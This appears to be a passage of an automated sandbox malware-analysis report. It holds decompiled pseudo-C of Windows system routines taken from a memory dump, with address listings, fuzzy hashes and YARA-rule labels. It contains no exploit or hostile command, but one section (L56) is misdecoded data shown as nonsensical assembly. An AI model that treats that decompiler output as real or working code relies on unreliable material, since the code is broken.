										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E00C2B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E00C2B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E00C2E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E00C2A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x00beb171
0x00beb171
0x00beb171
0x00beb171
0x00beb171
0x00beb176
0x00beb17b
0x00beb180
0x00beb186
0x00beb18f
0x00beb198
0x00beb1a4
0x00beb1aa
0x00c44802
0x00c44802
0x00c44805
0x00c4480c
0x00c4480e
0x00beb1d1
0x00beb1d3
0x00beb1de
0x00beb1de
0x00c44817
0x00c4481e
0x00c44820
0x00c44822
0x00c44822
0x00c44824
0x00c44824
0x00c4482a
0x00000000
0x00000000
0x00c44835
0x00c4483a
0x00c4483d
0x00c4483f
0x00c44842
0x00c44842
0x00c44842
0x00c44846
0x00c4484c
0x00c4484e
0x00c44851
0x00c44851
0x00c44853
0x00c44854
0x00c44854
0x00c44858
0x00c4485a
0x00c4485a
0x00c4485d
0x00c4485f
0x00c44861
0x00c44861
0x00c44866
0x00c4486b
0x00c4486e
0x00c44871
0x00c44876
0x00c44876
0x00c44878
0x00c4487b
0x00c44884
0x00c44884
0x00000000
0x00c4487d
0x00c4487d
0x00c44882
0x00c44889
0x00c44889
0x00c4488f
0x00c44891
0x00c448e0
0x00c448e2
0x00c448e4
0x00c448e4
0x00c448e7
0x00c448e7
0x00c448ed
0x00c448f4
0x00c448f6
0x00c44951
0x00c44951
0x00c44953
0x00c44953
0x00c44956
0x00c44956
0x00c44958
0x00c44959
0x00c44959
0x00c4495d
0x00c4495d
0x00c4495f
0x00c4495f
0x00c44965
0x00c44969
0x00c449ba
0x00c449ba
0x00c449c1
0x00c449c5
0x00c449cc
0x00c449d4
0x00c449d7
0x00c449da
0x00c449e4
0x00c449e5
0x00c449f3
0x00c44a02
0x00000000
0x00c44a02
0x00c44972
0x00c44974
0x00000000
0x00000000
0x00c44976
0x00c44979
0x00c44982
0x00c44983
0x00c44984
0x00c4498b
0x00c4498d
0x00c44991
0x00c44993
0x00c44999
0x00c4499d
0x00c449a2
0x00c449a2
0x00c449a2
0x00c44999
0x00c449ac
0x00000000
0x00c449b3
0x00c448f8
0x00c448fe
0x00000000
0x00000000
0x00000000
0x00c448fe
0x00c44895
0x00c4489c
0x00c448ad
0x00c448b2
0x00c448b5
0x00c448b7
0x00c448ba
0x00c448bc
0x00c448c6
0x00c448c6
0x00c448cb
0x00c448d1
0x00c448d4
0x00c448d8
0x00c448d8
0x00000000
0x00c448d8
0x00c448be
0x00c448c0
0x00000000
0x00000000
0x00c448c2
0x00000000
0x00000000
0x00000000
0x00c448c4
0x00000000
0x00c44882
0x00c4487b
0x00c44904
0x00c44906
0x00000000
0x00000000
0x00c44908
0x00c4490e
0x00000000
0x00000000
0x00c44910
0x00c44917
0x00c44917
0x00000000
0x00c44917
0x00beb1ba
0x00c447f9
0x00c447fc
0x00000000
0x00000000
0x00000000
0x00c447fc
0x00beb1c0
0x00beb1c0
0x00beb1c3
0x00beb1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 00C448AD

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: d80b2a0f6b6f0b169a466a144afc248d16c0b9064cac3755116d86e58d941342
Instruction ID: bccc7362acbd3651cbbc9447cea9ffca9f06fdaec96260019f758eb7e6463a0e
Opcode Fuzzy Hash: d80b2a0f6b6f0b169a466a144afc248d16c0b9064cac3755116d86e58d941342
Instruction Fuzzy Hash: 2351D371D102698ADB38CF64C845BAEBBB0BF10724F3041ADE869EB682D7704E419B91

Uniqueness

Uniqueness Score: -1.00%

Function 00C12581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E00C12581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t230;
				signed int _t234;
				void* _t235;
				void* _t236;
				signed int _t240;
				signed int _t242;
				intOrPtr _t244;
				signed int _t247;
				signed int _t254;
				signed int _t257;
				signed int _t265;
				intOrPtr _t271;
				signed int _t273;
				signed int _t275;
				void* _t277;
				signed int _t278;
				unsigned int _t281;
				signed int _t285;
				void* _t286;
				signed int _t292;
				signed int _t296;
				intOrPtr _t308;
				signed int _t317;
				signed int _t319;
				signed int _t320;
				signed int _t324;
				signed int _t325;
				signed int _t327;
				signed int _t329;
				signed int _t331;
				void* _t332;
				void* _t335;

				_t329 = _t331;
				_t332 = _t331 - 0x4c;
				_v8 =  *0xcdd360 ^ _t329;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t324 = 0xcdb2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t281 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t271 = 0x48;
				_t306 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
				_t317 = 0;
				_v37 = _t306;
				if(_v48 <= 0) {
					L16:
					_t45 = _t271 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t325 = 0xc0000106;
						goto L32;
					} else {
						_t324 = L00C04620(_t281,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t271);
						_v52 = _t324;
						__eflags = _t324;
						if(_t324 == 0) {
							_t325 = 0xc0000017;
							goto L32;
						} else {
							 *(_t324 + 0x44) =  *(_t324 + 0x44) & 0x00000000;
							_t50 = _t324 + 0x48; // 0x48
							_t319 = _t50;
							_t306 = _v32;
							 *((intOrPtr*)(_t324 + 0x3c)) = _t271;
							_t273 = 0;
							 *((short*)(_t324 + 0x30)) = _v48;
							__eflags = _t306;
							if(_t306 != 0) {
								 *(_t324 + 0x18) = _t319;
								__eflags = _t306 - 0xcd8478;
								 *_t324 = ((0 | _t306 == 0x00cd8478) - 0x00000001 & 0xfffffffb) + 7;
								E00C2F3E0(_t319,  *((intOrPtr*)(_t306 + 4)),  *_t306 & 0x0000ffff);
								_t306 = _v32;
								_t332 = _t332 + 0xc;
								_t273 = 1;
								__eflags = _a8;
								_t319 = _t319 + (( *_t306 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t265 = E00C739F2(_t319);
									_t306 = _v32;
									_t319 = _t265;
								}
							}
							_t285 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t325 = _v68;
								__eflags = 0;
								 *((short*)(_t319 - 2)) = 0;
								goto L32;
							} else {
								_t275 = _t324 + _t273 * 4;
								_v56 = _t275;
								do {
									__eflags = _t306;
									if(_t306 != 0) {
										_t230 =  *(_v60 + _t285 * 4);
										__eflags = _t230;
										if(_t230 == 0) {
											goto L30;
										} else {
											__eflags = _t230 == 5;
											if(_t230 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t275 =  *(_v60 + _t285 * 4);
										 *(_t275 + 0x18) = _t319;
										_t234 =  *(_v60 + _t285 * 4);
										__eflags = _t234 - 8;
										if(_t234 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t234 * 4 +  &M00C12959))) {
												case 0:
													__ax =  *0xcd8488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E00C2F3E0(__edi,  *0xcd848c, __ax & 0x0000ffff);
														__eax =  *0xcd8488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E00C2F3E0(_t319, _v80, _v64);
													_t260 = _v64;
													goto L26;
												case 2:
													 *0xcd8480 & 0x0000ffff = E00C2F3E0(__edi,  *0xcd8484,  *0xcd8480 & 0x0000ffff);
													__eax =  *0xcd8480 & 0x0000ffff;
													__eax = ( *0xcd8480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E00C2F3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E00C2F3E0(_t319, _v76, _v36);
														_t260 = _v36;
													}
													L26:
													_t332 = _t332 + 0xc;
													_t319 = _t319 + (_t260 >> 1) * 2 + 2;
													__eflags = _t319;
													L27:
													_push(0x3b);
													_pop(_t262);
													 *((short*)(_t319 - 2)) = _t262;
													goto L28;
												case 6:
													__ebx =  *0xcd575c;
													__eflags = __ebx - 0xcd575c;
													if(__ebx != 0xcd575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E00C2F3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0xcd575c;
														} while (__ebx != 0xcd575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0xcd8478 & 0x0000ffff = E00C2F3E0(__edi,  *0xcd847c,  *0xcd8478 & 0x0000ffff);
													__eax =  *0xcd8478 & 0x0000ffff;
													__eax = ( *0xcd8478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E00C739F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0xcd6e58 & 0x0000ffff = E00C2F3E0(__edi,  *0xcd6e5c,  *0xcd6e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0xcd6e58 & 0x0000ffff;
													__eax = ( *0xcd6e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t285 = _v16;
													_t306 = _v32;
													L29:
													_t275 = _t275 + 4;
													__eflags = _t275;
													_v56 = _t275;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t285 = _t285 + 1;
									_v16 = _t285;
									__eflags = _t285 - _v48;
								} while (_t285 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t234 =  *(_v60 + _t317 * 4);
						if(_t234 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t234 * 4 +  &M00C12935))) {
							case 0:
								__ax =  *0xcd8488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t306 =  &_v64;
								_v80 = E00C12E3E(0,  &_v64);
								_t271 = _t271 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0xcd8480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0xcd8480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E00BFEEF0(0xcd79a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E00BFEB70(__ecx, 0xcd79a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t208 = _v72;
											__eflags = _t208;
											if(_t208 != 0) {
												L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t208);
											}
											_t209 = _v52;
											__eflags = _t209;
											if(_t209 != 0) {
												__eflags = _t325;
												if(_t325 < 0) {
													L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t209);
													_t209 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t281 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0xcd7b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L00C04620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E00BFEB70(__ecx, 0xcd79a0);
										__eax = _v52;
										L36:
										_pop(_t318);
										_pop(_t326);
										__eflags = _v8 ^ _t329;
										_pop(_t272);
										return E00C2B640(_t209, _t272, _v8 ^ _t329, _t306, _t318, _t326);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t267 = _v56;
								if(_v56 != 0) {
									_t306 =  &_v36;
									_t269 = E00C12E3E(_t267,  &_v36);
									_t281 = _v36;
									_v76 = _t269;
								}
								if(_t281 == 0) {
									goto L44;
								} else {
									_t271 = _t271 + 2 + _t281;
								}
								goto L14;
							case 6:
								__eax =  *0xcd5764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0xcd8478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0xcd8478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0xcd6e58 & 0x0000ffff;
								__eax = ( *0xcd6e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t317 = _t317 + 1;
								if(_t317 >= _v48) {
									goto L16;
								} else {
									_t306 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					_t286 = 0x25;
					asm("int 0x29");
					asm("out 0x28, al");
					asm("rol dword [eax], 0x66");
					_t235 = _t234 + _t234;
					asm("daa");
					asm("rol dword [eax], 0x2e");
					asm("rol dword [es:eax], 0x46");
					 *0x1f00c126 =  *0x1f00c126 + _t235;
					asm("lds eax, [eax]");
					_t236 = _t332;
					 *0x200c55b =  *0x200c55b + _t306;
					 *((intOrPtr*)(_t236 - 0x9ff3ed8)) =  *((intOrPtr*)(_t236 - 0x9ff3ed8)) + _t236;
					asm("daa");
					asm("rol dword [eax], 0x1e");
					 *((intOrPtr*)(_t324 + 0x28)) =  *((intOrPtr*)(_t324 + 0x28)) + _t286 - _t234 - _t235 - _t236 - _t236 - _t236;
					asm("rol dword [eax], 0x5d");
					asm("daa");
					asm("rol dword [eax], 0xd8");
					_pop(_t277);
					asm("lds eax, [eax]");
					asm("rol dword [eax], 0x34");
					_pop(_t335);
					asm("lds eax, [eax]");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0xcbff00);
					E00C3D08C(_t277, _t319, _t324);
					_v44 =  *[fs:0x18];
					_t320 = 0;
					 *_a24 = 0;
					_t278 = _a12;
					__eflags = _t278;
					if(_t278 == 0) {
						_t240 = 0xc0000100;
					} else {
						_v8 = 0;
						_t327 = 0xc0000100;
						_v52 = 0xc0000100;
						_t242 = 4;
						while(1) {
							_v40 = _t242;
							__eflags = _t242;
							if(_t242 == 0) {
								break;
							}
							_t296 = _t242 * 0xc;
							_v48 = _t296;
							__eflags = _t278 -  *((intOrPtr*)(_t296 + 0xbc1664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t257 = E00C2E5C0(_a8,  *((intOrPtr*)(_t296 + 0xbc1668)), _t278);
									_t335 = _t335 + 0xc;
									__eflags = _t257;
									if(__eflags == 0) {
										_t327 = E00C651BE(_t278,  *((intOrPtr*)(_v48 + 0xbc166c)), _a16, _t320, _t327, __eflags, _a20, _a24);
										_v52 = _t327;
										break;
									} else {
										_t242 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t242 = _t242 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t327;
						__eflags = _t327;
						if(_t327 < 0) {
							__eflags = _t327 - 0xc0000100;
							if(_t327 == 0xc0000100) {
								_t292 = _a4;
								__eflags = _t292;
								if(_t292 != 0) {
									_v36 = _t292;
									__eflags =  *_t292 - _t320;
									if( *_t292 == _t320) {
										_t327 = 0xc0000100;
										goto L76;
									} else {
										_t308 =  *((intOrPtr*)(_v44 + 0x30));
										_t244 =  *((intOrPtr*)(_t308 + 0x10));
										__eflags =  *((intOrPtr*)(_t244 + 0x48)) - _t292;
										if( *((intOrPtr*)(_t244 + 0x48)) == _t292) {
											__eflags =  *(_t308 + 0x1c);
											if( *(_t308 + 0x1c) == 0) {
												L106:
												_t327 = E00C12AE4( &_v36, _a8, _t278, _a16, _a20, _a24);
												_v32 = _t327;
												__eflags = _t327 - 0xc0000100;
												if(_t327 != 0xc0000100) {
													goto L69;
												} else {
													_t320 = 1;
													_t292 = _v36;
													goto L75;
												}
											} else {
												_t247 = E00BF6600( *(_t308 + 0x1c));
												__eflags = _t247;
												if(_t247 != 0) {
													goto L106;
												} else {
													_t292 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t327 = E00C12C50(_t292, _a8, _t278, _a16, _a20, _a24, _t320);
											L76:
											_v32 = _t327;
											goto L69;
										}
									}
									goto L108;
								} else {
									E00BFEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t327 = _a24;
									_t254 = E00C12AE4( &_v36, _a8, _t278, _a16, _a20, _t327);
									_v32 = _t254;
									__eflags = _t254 - 0xc0000100;
									if(_t254 == 0xc0000100) {
										_v32 = E00C12C50(_v36, _a8, _t278, _a16, _a20, _t327, 1);
									}
									_v8 = _t320;
									E00C12ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t240 = _t327;
					}
					L70:
					return E00C3D0D1(_t240);
				}
				L108:
			}

0x00c12584
0x00c12586
0x00c12590
0x00c12596
0x00c12597
0x00c12598
0x00c12599
0x00c1259e
0x00c125a4
0x00c125a9
0x00c125ac
0x00c125ae
0x00c125b1
0x00c125b2
0x00c125b5
0x00c125b8
0x00c125bb
0x00c125bc
0x00c125bf
0x00c125c2
0x00c125c5
0x00c125c6
0x00c125cb
0x00c125ce
0x00c125d8
0x00c125dd
0x00c125de
0x00c125e1
0x00c125e3
0x00c125e9
0x00c126da
0x00c126da
0x00c126dd
0x00c126e2
0x00c55b56
0x00000000
0x00c126e8
0x00c126f9
0x00c126fb
0x00c126fe
0x00c12700
0x00c55b60
0x00000000
0x00c12706
0x00c12706
0x00c1270a
0x00c1270a
0x00c1270d
0x00c12713
0x00c12716
0x00c12718
0x00c1271c
0x00c1271e
0x00c55b6c
0x00c55b6f
0x00c55b7f
0x00c55b89
0x00c55b8e
0x00c55b93
0x00c55b96
0x00c55b9c
0x00c55ba0
0x00c55ba3
0x00c55bab
0x00c55bb0
0x00c55bb3
0x00c55bb3
0x00c55ba3
0x00c12724
0x00c12726
0x00c12729
0x00c1272c
0x00c1279d
0x00c1279d
0x00c127a0
0x00c127a2
0x00000000
0x00c1272e
0x00c1272e
0x00c12731
0x00c12734
0x00c12734
0x00c12736
0x00c55bc1
0x00c55bc1
0x00c55bc4
0x00000000
0x00c55bca
0x00c55bca
0x00c55bcd
0x00000000
0x00c55bd3
0x00000000
0x00c55bd3
0x00c55bcd
0x00c1273c
0x00c1273c
0x00c12742
0x00c12747
0x00c1274a
0x00c1274d
0x00c12750
0x00000000
0x00c12756
0x00c12756
0x00000000
0x00c12902
0x00c12908
0x00c1290b
0x00000000
0x00c12911
0x00c1291c
0x00c12921
0x00000000
0x00c12921
0x00000000
0x00000000
0x00c12880
0x00c12887
0x00c1288c
0x00000000
0x00000000
0x00c12805
0x00c1280a
0x00c12814
0x00c12816
0x00000000
0x00000000
0x00c1281e
0x00c12821
0x00c12823
0x00000000
0x00c12829
0x00c12829
0x00c12831
0x00c1283c
0x00c1283e
0x00000000
0x00c1283e
0x00000000
0x00000000
0x00c1284e
0x00c12850
0x00c12851
0x00c12854
0x00c12857
0x00c1285a
0x00c1285c
0x00c1285d
0x00000000
0x00000000
0x00c1275d
0x00c12761
0x00000000
0x00c12767
0x00c1276e
0x00c12773
0x00c12773
0x00c12776
0x00c12778
0x00c1277e
0x00c1277e
0x00c12781
0x00c12781
0x00c12783
0x00c12784
0x00000000
0x00000000
0x00c55bd8
0x00c55bde
0x00c55be4
0x00c55be6
0x00c55be8
0x00c55be9
0x00c55bee
0x00c55bf8
0x00c55bff
0x00c55c01
0x00c55c04
0x00c55c07
0x00c55c0b
0x00c55c0d
0x00c55c0d
0x00c55c15
0x00c55c18
0x00c55c1b
0x00c55c1b
0x00c55c1e
0x00000000
0x00000000
0x00c128c3
0x00c128c8
0x00c128d2
0x00c128d4
0x00c128d8
0x00c128db
0x00c55c26
0x00c55c28
0x00c55c2d
0x00c55c2d
0x00000000
0x00000000
0x00c55c34
0x00c55c36
0x00c55c49
0x00c55c4e
0x00c55c54
0x00c55c5b
0x00c55c5d
0x00c55c60
0x00c12788
0x00c12788
0x00c1278b
0x00c1278e
0x00c1278e
0x00c1278e
0x00c12791
0x00000000
0x00000000
0x00c12756
0x00c12750
0x00000000
0x00c12794
0x00c12794
0x00c12795
0x00c12798
0x00c12798
0x00000000
0x00c12734
0x00c1272c
0x00c12700
0x00c125ef
0x00c125ef
0x00c125ef
0x00c125f2
0x00c125f8
0x00000000
0x00000000
0x00c125fe
0x00000000
0x00c128e6
0x00c128ec
0x00c128ef
0x00c128f5
0x00c128f8
0x00c128f8
0x00000000
0x00c128f8
0x00000000
0x00000000
0x00c12866
0x00c12866
0x00c12876
0x00c12879
0x00000000
0x00000000
0x00c127e0
0x00c127e7
0x00c127e9
0x00c127eb
0x00c55afd
0x00000000
0x00c55afd
0x00000000
0x00000000
0x00c12633
0x00c12638
0x00c1263b
0x00c1263c
0x00c1263e
0x00c12640
0x00c12642
0x00c12647
0x00c12649
0x00c1264e
0x00c12650
0x00c12653
0x00c12659
0x00c126a2
0x00c126a7
0x00c126ac
0x00c126b2
0x00c55b11
0x00c55b15
0x00c55b17
0x00000000
0x00c126b8
0x00c126b8
0x00c126ba
0x00c127a6
0x00c127a6
0x00c127a9
0x00c127ab
0x00c127b9
0x00c127b9
0x00c127be
0x00c127c1
0x00c127c3
0x00c127c5
0x00c127c7
0x00c55c74
0x00c55c79
0x00c55c79
0x00c127c7
0x00000000
0x00c126c0
0x00c126c0
0x00c126c3
0x00c126c6
0x00c126c6
0x00c126c9
0x00c126c9
0x00000000
0x00c126c9
0x00c126ba
0x00c1265b
0x00c1265b
0x00c1265e
0x00c12667
0x00c1266d
0x00c12677
0x00c1267c
0x00c1267f
0x00c12681
0x00c55b49
0x00c55b4e
0x00c127cd
0x00c127d0
0x00c127d1
0x00c127d2
0x00c127d4
0x00c127dd
0x00c12687
0x00c12687
0x00c1268a
0x00c1268b
0x00c1268e
0x00c1268f
0x00c12691
0x00c12696
0x00c12698
0x00c1269d
0x00c1269f
0x00000000
0x00c1269f
0x00c12681
0x00000000
0x00000000
0x00c12846
0x00000000
0x00000000
0x00c12605
0x00c1260a
0x00c1260c
0x00c12611
0x00c12616
0x00c12619
0x00c12619
0x00c1261e
0x00000000
0x00c12624
0x00c12627
0x00c12627
0x00000000
0x00000000
0x00c55b1f
0x00000000
0x00000000
0x00c12894
0x00c1289b
0x00c1289d
0x00c128a1
0x00c55b2b
0x00c55b2e
0x00c55b2e
0x00c128a7
0x00c128a9
0x00c55b04
0x00c55b09
0x00c55b09
0x00c55b09
0x00000000
0x00000000
0x00c55b35
0x00c55b3c
0x00c128fb
0x00c128fb
0x00c126cc
0x00c126cc
0x00c126d0
0x00000000
0x00c126d2
0x00c126d2
0x00000000
0x00c126d2
0x00000000
0x00000000
0x00c125fe
0x00c1292d
0x00c1292f
0x00c12930
0x00c12935
0x00c12937
0x00c1293c
0x00c1293e
0x00c1293f
0x00c12942
0x00c12948
0x00c1294f
0x00c12951
0x00c12954
0x00c1295c
0x00c12962
0x00c12963
0x00c12968
0x00c1296b
0x00c1296e
0x00c1296f
0x00c12972
0x00c12973
0x00c12977
0x00c1297a
0x00c1297b
0x00c1297d
0x00c1297e
0x00c1297f
0x00c12980
0x00c12981
0x00c12982
0x00c12983
0x00c12984
0x00c12985
0x00c12986
0x00c12987
0x00c12988
0x00c12989
0x00c1298a
0x00c1298b
0x00c1298c
0x00c1298d
0x00c1298e
0x00c1298f
0x00c12990
0x00c12992
0x00c12997
0x00c129a3
0x00c129a6
0x00c129ab
0x00c129ad
0x00c129b0
0x00c129b2
0x00c55c80
0x00c129b8
0x00c129b8
0x00c129bb
0x00c129c0
0x00c129c5
0x00c129c6
0x00c129c6
0x00c129c9
0x00c129cb
0x00000000
0x00000000
0x00c129cd
0x00c129d0
0x00c129d9
0x00c129db
0x00c129dd
0x00c12a7f
0x00c12a84
0x00c12a87
0x00c12a89
0x00c55ca1
0x00c55ca3
0x00000000
0x00c12a8f
0x00c12a8f
0x00000000
0x00c12a8f
0x00000000
0x00c129e3
0x00c129e3
0x00c129e3
0x00000000
0x00c129e3
0x00c129dd
0x00000000
0x00c129db
0x00c129e6
0x00c129e9
0x00c129eb
0x00c129ed
0x00c129f3
0x00c129f5
0x00c129f8
0x00c129fa
0x00c12a97
0x00c12a9a
0x00c12a9d
0x00c12add
0x00000000
0x00c12a9f
0x00c12aa2
0x00c12aa5
0x00c12aa8
0x00c12aab
0x00c55cab
0x00c55caf
0x00c55cc5
0x00c55cda
0x00c55cdc
0x00c55cdf
0x00c55ce5
0x00000000
0x00c55ceb
0x00c55ced
0x00c55cee
0x00000000
0x00c55cee
0x00c55cb1
0x00c55cb4
0x00c55cb9
0x00c55cbb
0x00000000
0x00c55cbd
0x00c55cbd
0x00000000
0x00c55cbd
0x00c55cbb
0x00c12ab1
0x00c12ab1
